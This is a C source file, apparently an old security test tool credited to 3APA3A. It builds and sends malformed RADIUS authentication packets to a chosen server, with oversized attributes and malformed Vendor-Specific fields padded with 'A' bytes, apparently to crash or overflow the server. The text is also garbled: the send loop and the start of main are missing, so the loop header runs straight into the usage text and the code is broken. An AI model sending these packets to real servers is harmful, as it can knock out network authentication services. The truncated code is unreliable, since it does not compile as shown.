/* * Copyright (c) 2000-2001 3APA3A * * $Id: test_radius.c,v 1.1.2.3 2001/09/28 17:25:05 vlad Exp $ */ #include #include #include #include #include #include #define AUTH_VECTOR_LEN 16 #define MAX_STRING_LEN 254 #define PW_AUTH_UDP_PORT 1645 #define PW_AUTHENTICATION_REQUEST 1 #define PW_VENDOR_SPECIFIC 26 #define VENDORPEC_USR 429 typedef unsigned int uint32_t; typedef unsigned short uint16_t; typedef unsigned char uint8_t; /* * Return an IP address from * one supplied in standard dot notation. */ uint32_t ip_addr(const char *ip_str) { struct in_addr in; if (inet_aton(ip_str, &in) == 0) return INADDR_NONE; return in.s_addr; } /* * Return an IP address in from a host * name or address in dot notation. */ uint32_t ip_getaddr(const char *host) { struct hostent *hp; uint32_t a; if ((a = ip_addr(host)) != INADDR_NONE) return a; if ((hp = gethostbyname(host)) == NULL) return (uint32_t) INADDR_NONE; /* * Paranoia from a Bind vulnerability. An attacker * can manipulate DNS entries to change the length of the * address. If the length isn't 4, something's wrong. */ if (hp->h_length != sizeof(uint32_t)) { return (uint32_t) INADDR_NONE; } memcpy(&a, hp->h_addr, sizeof(uint32_t)); return a; } static int getport(const char *name) { struct servent *svp; svp = getservbyname (name, "udp"); if (!svp) { return 0; } return ntohs(svp->s_port); } typedef struct radius_packet_t { uint8_t code; uint8_t id; uint16_t length; uint8_t vector[AUTH_VECTOR_LEN]; uint8_t data[4076]; } radius_packet_t; char buf[256]; int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type) { int res=0; int sockfd; int total_length; uint32_t dst_ipaddr; struct sockaddr_in saremote; struct sockaddr_in *sa; radius_packet_t packet; int i; int len; memset(&packet, 0, sizeof(packet)); if (!type) type = PW_AUTHENTICATION_REQUEST; if (!port) port = getport("radius"); if (port == 0) port = PW_AUTH_UDP_PORT; if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { return 1; } packet.code = type; packet.id=0; total_length = 0; total_length+=(4+AUTH_VECTOR_LEN); memset(packet.vector, 0, AUTH_VECTOR_LEN); dst_ipaddr = ip_getaddr(radius); sa = (struct sockaddr_in *) &saremote; memset ((char *) sa, '\0', sizeof (saremote)); sa->sin_family = AF_INET; sa->sin_addr.s_addr = dst_ipaddr; sa->sin_port = htons(port); if(ntimes) { for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){ len = (size > attlen)? attlen:size; if(len < 2) break; packet.data[i]=attr; packet.data[i+1]=len; if(len > 2) memset(packet.data + i + 2, 'A', len - 2); } } else { i=0; packet.data[i++] = PW_VENDOR_SPECIFIC; packet.data[i++] = attlen; *((uint32_t*)(packet.data + i)) = htonl(size); i+=4; if (size == VENDORPEC_USR){ *((uint16_t *)(packet.data + i)) = htons(attr); i+=2; packet.data[i++] = 1; } else { packet.data[i++] = attr; packet.data[i++] = 1; packet.data[i++] = 'A'; } if(attlen > 9){ memset(packet.data+i, 'A', attlen-9); i=attlen; } ntimes = 1; } total_length+=i; packet.length = htons(total_length); for (i=0; i 0\n" " attribute_length - length of attribute, must be between 1 and 255\n" " packet_length - length of packet, >20\n" " count - number of packets to send. If count = 0 single malformed\n" " Vendor-Specific is sent with Vendor-Code of packet_length\n" " and Vendor-Type of attribute\n" " port - target UDP port\n" " type - type of RADIUS request. Authentication Request by default\n", argv[0]); return 1; } if (argc >= 7) port = atoi(argv[6]); if (argc >= 8) type = atoi(argv[7]); return radius_send( argv[1], ntries, attr, packlen, attlen, port, type); }